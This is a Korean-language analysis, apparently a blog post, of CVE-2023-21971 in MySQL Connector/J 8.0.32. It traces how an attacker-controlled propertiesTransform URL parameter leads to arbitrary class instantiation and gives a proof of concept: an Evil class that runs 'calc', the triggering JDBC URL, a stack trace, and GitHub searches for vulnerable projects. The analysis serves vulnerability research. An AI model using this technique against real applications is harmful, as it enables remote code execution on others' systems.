
CVE-2023-21971 Connector/J RCE 분석
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
Oracle MySQL의 MySQL Connectors 제품의 취약점 (구성요소: Connector/J). 영향을 받는 지원 버전은 8.0.32 및 이전 버전입니다. 악용하기 어려운 취약점으로, 높은 권한의 공격자가 여러 프로토콜을 통해 네트워크에 접근하여 MySQL Connector를 손상시킬 수 있습니다. 성공적인 공격을 위해서는 공격자 외의 사람의 인간 상호작용이 필요합니다. 이 취약점을 성공적으로 공격하면 MySQL Connector가 중단되거나 자주 반복적으로 충돌하도록(완전한 DOS) 하는 무단 능력, 그리고 일부 MySQL Connector가 액세스할 수 있는 데이터에 대한 무단 업데이트, 삽입 또는 삭제, 그리고 일부 MySQL Connector가 액세스할 수 있는 데이터에 대한 무단 읽기 액세스가 발생할 수 있습니다.
영향 범위:
Github에서 mysql-connector-java에 의존하는 프로젝트를 검색합니다.
filename:pom.xml mysql-connector-java
Github에서 검색하여 특정 버전의 mysql-connector-java에 의존하는 프로젝트를 찾을 수 있습니다.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
여기서 propertiesTransformClassName을 제어할 수 있음이 명확히 보입니다. newInstance()를 호출하는 과정에서 자동으로 무인자 생성자가 호출됩니다.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
명확히 검증용 데모를 작성할 수 있습니다.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
여기서는 직접 Jar 파일을 다운로드하여 IDEA 프로젝트의 Libraries에 가져옵니다.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
그러나 Evil 클래스는 로컬에서 생성되었고, 종속성 중 어느 클래스도 ConnectionPropertiesTransform 인터페이스를 구현하지 않았습니다. 이는 활용하기 어려운 취약점일까요?
실험을 통해 Evil 클래스가 ConnectionPropertiesTransform 인터페이스를 구현하지 않아도 명령 실행이 가능함을 발견했습니다.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test